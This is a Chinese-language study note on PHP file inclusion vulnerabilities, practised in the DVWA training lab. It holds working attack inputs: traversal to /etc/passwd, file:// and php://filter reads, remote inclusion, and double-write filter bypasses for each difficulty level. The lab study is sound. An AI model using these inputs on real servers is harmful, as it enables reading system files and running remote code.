DVWA-文件包含学习笔记
DVWA-文件包含学习笔记
一、文件包含与漏洞
文件包含:
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。
文件包含漏洞:
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
二、文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
三、目录遍历与文件包含的区别
目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。
文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。
四、文件包含特征
?page=a.php
?home=b.html
?file=content
检测方法
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
五、DVWA练习
1.修改php.ini配置文件开启文件包含功能
allow_url_include = on

将DVWA的级别设置为low
1.分析源码,可以看到没有对page参数做任何过滤

本地文件包含
2.尝试利用文件包含
2.1绝对路径

文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来

文件内容没有php代码,把文件内容打印(显示)到浏览器页面

2.2相对路径

3.使用php封装协议读取和写入php文件
3.1读取文件
php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 访问,可以看到显示了base64编码的内容

使用burpsuit的decode模块解码

3.2写入php文件,下图可以看到输入的内容并返回结果

远程文件包含
1.通过http协议包含本地服务器上的文件

2.通过http协议包含远程服务器上的文件

将DVWA的级别设置为medium
1.分析源码,可以看到使用str_replace函数对http://、https://、../ 、..\进行了过滤,但可以通过双写来绕过,或者使用绝对路径来绕过

2.尝试绕过
先使用http://192.168.10.130/1.txt 抓包分析,可以看到对http://做了过滤

使用双写绕过http://的过滤 htthttp://p://192.168.10.144/1.txt

使用..././..././..././..././..././..././..././ 绕过../的过滤

使用绝对路径绕过

使用file协议绕过

将DVWA的级别设置为High
1.分析源码可以看到,如果$file变量中不含有file并且$file不等于include.php,此时服务器才不会去包含文件,两个条件只要不满足其中任意一个,就能达到文件包含的目的,可以是同file协议来绕过

2.使用file协议绕过

将DVWA的级别设置为Impossible
1.分析源码可以看到,使用白名单,page只能为include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允许包含include.php、file1.php、file2.php、file3.php,不能包含别的文件,彻底杜绝文件包含漏洞

DVWA-文件包含学习笔记的更多相关文章
- PHP文件包含学习笔记
看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子 参考文章: PHP文件包含漏洞利用思路与Bypass总结 ...
- 2019-10-8:渗透测试,基础学习,php基础,会话,文件包含,笔记
php面向对象基础->调用符号构造函数construct,主要用来创建对象时初始化对象,为成员变量赋初始值,总与new运算符一起使用在创建对象的语句中 析构函数destructor,与构造函数相 ...
- C# IO流与文件读写学习笔记
本笔记摘抄自:https://www.cnblogs.com/liyangLife/p/4797583.html,记录一下学习过程以备后续查用. 一.文件系统 1.1文件系统类的介绍 文件操作类大都在 ...
- python的文件处理学习笔记
python的文件处理函数是open() 以下主要是关于这个函数的一些学习笔记 1.文件处理离不开编码 要注意的是文件打开时的编码和文件保存时的编码的统一,这样才能保证你打开的文件不会存在乱码 总结: ...
- Linux用户、用户组、文件权限学习笔记
最近打算更仔细学习一下linux操作系统.先是恶补了一下用户.用户组.文件权限这三样比较重要的知识.学习这几样东西,得先掌握linux的权限系统相关知识.linux的权限系统主要是由用户.用户组和权限 ...
- Linux文件类型(学习笔记六)
一.Linux下的文件类型 普通文件:在由 ls –al 所显示出来的属性方面,第一个属性为 [ - ] 目录文件:在由 ls –al 所显示出来的属性方面,第一个属性为 [ d ] 设备文件:一般都 ...
- 三、安装远程工具xshell,使用SFTP传输文件——Linux学习笔记
A)远程工具 学Linux没有远程工具怎么行,百度了下,发现了xshell这个东西,重点是可以免费. 链接是多简单啊 输入地址,账号就搞定了. 打命令什么的都搞定了,真的感谢这个时代,求学有路啊! 到 ...
- Linux文件权限学习笔记
文件权限共10个字符,第一个字符表示该文件是[文件夹]或[文件]——如果是字符“d"则表示该文件是文件夹:如果是字符“-”则表示是文件. 后九个字符,三个一组,共三组,分别表示[所有者权限] ...
- Linux用户身份与文件权限学习笔记
用户身份 管理员UID为0:系统的管理员用户 系统用户UID为1~999:服务程序会有独立的系统用户负责运行:防止被黑客入侵进行提权,并有效控制被破坏的范围 普通用户UID从1000开始:是由管理员创 ...
随机推荐
- Nagios 钉钉报警
第一章 创建钉钉应用(用于发送报警信息给单独某个用户) 打开钉钉管理后台: https://oa.dingtalk.com 创建成功后需要记录三个值"AgentID"," ...
- go-客户信息关系系统
客户信息关系系统 项目需求分析 1) 模拟实现基于文本界面的< 客户信息管理软件>. 2) 该软件能够实现对客户对象的插入.修改和删除(用切片实现),并能够打印客户明细表 项目的界面设计 ...
- Python笔记:设计模式之facade模式
facade模式,即门面模式,也称外观模式,这个模式的核心思想是使用facade对象为外部客户端提供一个统一的访问一组子系统的接口,即客户端不会直接与各个子系统交互,而是通过facade对象与各个子系 ...
- Java8 日期和时间API
LocalDate.LocalTime.Instant.Duration.Period 1.1使用LocalDate和LocalTime 1.1.1LocalDate的创建方式和相关方法使用示例 @T ...
- 自学_CSS<二>
CSS CSS(层叠样式表)是用来美化页面用的,可以对页面元素进行更精细的设置,样式主要描述元素的字体颜色.背景颜色.边框等. CSS主要有元素内联.页面嵌入和外部引用三种使用方式.CSS是描述元素的 ...
- TCP/IP:完全弄清OSI七层模型
OSI七层背景概述 诞生于1983年,iso(国际标准委员会)设计并推出. 目的:实现网络行业的兼容性 OSI七层模型与TCP/IP相对应的层次: 一般来说,我们把上三层被称为应用层,下四层被称为数据 ...
- Python—函数进阶篇
lambda表达式(匿名函数表达式) 作用:创建一个匿名函数对象.同def类似,但不提供函数名. 语法:lambda [形参1,形参2,...] : 表达式 语法说明 lambda 只是一个表达式,它 ...
- c 和 c++ 啊 Make
- linux下C/C++编译时系统搜索 include 和 链接库 文件路径的指定
C/C++程序在linux下被编译和连接时,GCC/G++会查找系统默认的include和link的路径,以及自己在编译命令中指定的路径.自己指定的路径就不说了,这里说明一下系统自动搜索的路径. ...
- 用java写爬虫
今天学了怎么用java代码获取要爬取页面的源代码,因为只写了一点,所以接下来会陆续跟新此文章 首先,看一下我写的代码 这就是爬取下来的网页源代码,第一张图刚刚补注释有个注释写错了,别误导你们就行,接下 ...